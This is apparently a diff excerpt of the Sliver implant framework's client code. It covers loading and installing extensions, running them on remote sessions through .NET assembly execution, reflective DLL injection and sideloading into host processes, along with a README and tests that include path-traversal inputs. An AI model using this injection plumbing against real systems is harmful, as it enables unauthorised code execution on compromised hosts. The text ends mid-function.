||||
type extFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
ExtensionFiles []extFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type extension struct {
|
||||
Name string `json:"extensionName"`
|
||||
Commands []extensionCommand `json:"extensionCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.ExtensionFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no extension command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
|
||||
if len(ctx.Args) != 1 {
|
||||
fmt.Printf(Warn + "Please provide an extension path\n")
|
||||
return
|
||||
}
|
||||
|
||||
// retrieve extension manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%v", err)
|
||||
}
|
||||
// parse it
|
||||
ext := &extension{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"error loading extension: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = ctx.Args[0]
|
||||
// for each extension command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
ctx.App.AddCommand(&grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
AllowArgs: extCmd.AllowArgs,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
fmt.Println()
|
||||
runExtensionCommand(extCtx, rpc)
|
||||
fmt.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
})
|
||||
}
|
||||
fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var args string
|
||||
if len(c.DefaultArgs) != 0 {
|
||||
args = c.DefaultArgs
|
||||
}
|
||||
if ctx.Command.AllowArgs {
|
||||
if len(ctx.Args) > 0 {
|
||||
args = strings.Join(ctx.Args[0:], " ")
|
||||
}
|
||||
}
|
||||
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s", err.Error())
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(args, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extension)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
Extensions
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── extension.json
|
||||
└── windows
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
```
|
||||
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"depends_on": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
- `name`: name of the extension, which will also be the name of the command in the sliver client
|
||||
- `help`: the documentation for the new command
|
||||
- `entrypoint`: the name of the exported function to call
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
- `string`: regular ASCII string
|
||||
- `wstring`: string that will be UTF16 encoded
|
||||
- `int`: will be parsed as a 32 bit unsigned integer
|
||||
- `short`: will be parsed as a 16 bit unsigned integer
|
||||
- `file`: a string to a file path on the client side which content will be passed to the BOF
|
||||
@@ -0,0 +1,125 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
